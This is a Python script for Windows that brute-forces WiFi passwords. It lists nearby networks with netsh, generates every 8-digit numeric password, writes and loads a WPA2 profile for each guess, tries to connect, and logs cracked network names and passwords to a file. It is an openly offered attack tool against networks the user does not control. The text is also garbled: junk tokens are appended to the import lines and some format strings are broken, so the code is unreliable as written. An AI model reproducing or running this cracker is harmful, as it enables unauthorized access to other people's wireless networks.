import osshell
import re網絡
import multiprocessingapp
import subprocessurl
from multiprocessing import Poolspa
import time.net
"""code
netsh wlan set hostednetwork ssid=您想要的無線網絡的名稱 key=您想要設置的密碼orm
設置共享xml
netsh wlan start hostednetworkip
netsh wlan start hostednetwork
netsh wlan show hostednetwork 查看https://msdn.microsoft.com/zh-cn/library/ms706987
Netsh WLAN stop hostednetwork
NETSH INT IP RESE
netsh wlan show interfaces 查看鏈接狀態
"""
def getHrefs(cont,r):
c=re.compile(r)
urlLists=re.findall(c,cont)
z=len(urlLists)
return urlLists,z
def do_sys(sys_command):
p = subprocess.Popen(sys_command, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
info_str = ''
for line in p.stdout.readlines():
#print(line)
info_str += line.decode('gbk','ignore')
info_str = info_str.replace(r"\r\n'b'","")
return info_str
def get_name_num():
sys_command = 'netsh wlan show networks'
info_str = do_sys(sys_command)
r = r'\d+\s:\s(.*?)\s'
name_list = getHrefs(info_str, r)
# wifi_list, num = name_list
return name_list
def connet(wifi_name):
print('正在嘗試暴力破解wifi:', wifi_name)
sys_command = 'netsh wlan connect ssid="%s" name="%s"'%(wifi_name,wifi_name)
print(sys_command)
return do_sys(sys_command)
"""
def is_ok():
sys_command = 'ping www.baidu.com -n 2'
ret = do_sys(sys_command)
if 'TTL' in ret:
print('網絡OK')
return True
print('無網絡')
return False
"""
def is_ok():
sys_command = 'netsh wlan show interfaces'
ret = do_sys(sys_command)
#print(ret)
if '已鏈接' in ret:
print('破解成功')
return True
print('破解失敗')
return False
def format_hex(pwd):
l = ''
for i in str(pwd):
j = ord(i)
j = hex(j)
l +=j
return l.replace('0x','')
def save_profile(wifi_name, pwd):
""" 配置文件設置"""
profile_content = """<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>%s</name>
<SSIDConfig>
<SSID>
<hex>%s</hex>
<name>%s</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>%s</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""%(wifi_name, format_hex(wifi_name), wifi_name, pwd)
wifi_list, num = get_name_num()
file_name = wifi_list[0]+'-'+wifi_name+'.xml'
with open(file_name,'w') as f:
f.write(profile_content)
file_path = os.getcwd() +'\\'+ file_name
print(file_path)
info_str = ''
p = subprocess.Popen('netsh wlan add profile filename="%s"'%file_path, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
for line in p.stdout.readlines():
# print('is ok?',line)
pass
def get_pwd():
# pwds = '7lk@admin '
pwds = list()
i = 10000000
while i < 100000000:
pwds.append(str(i))
i +=1
print(i)
return pwds
def one_crack(wifi_name):
start_time_pwd = time.time()
pwds = get_pwd()
end_time_pwd = time.time()
print('create pwd_list cost time:'%(end_time_pwd-start_time_pwd))
for pwd in pwds:
save_profile(wifi_name, pwd)
connet(wifi_name)
time.sleep(1)
if is_ok():
msg = '破解成功#########wifi名稱:%s,wifi密碼:%s'%(wifi_name,pwd)
print(msg)
file_name = 'f已經被破解的wifi.txt'
with open(file_name,'a+') as f:
f.write(msg)
else:
print('破解失敗!wifi名稱:%s'%wifi_name)
def all_crack():
wifi_list, num = get_name_num()
pool = Pool(processes = num)
for i in range(num):
one_crack(wifi_list[i])
def main():
#one_crack('bbb')
all_crack()
if __name__ == '__main__':
#get_name_num()
#print(format_hex('aaa'))
start_time = time.time()
#main()
get_pwd()
end_time = time.time()
print('create pwd_list cost time:'%(end_time-start_time))
#is_ok()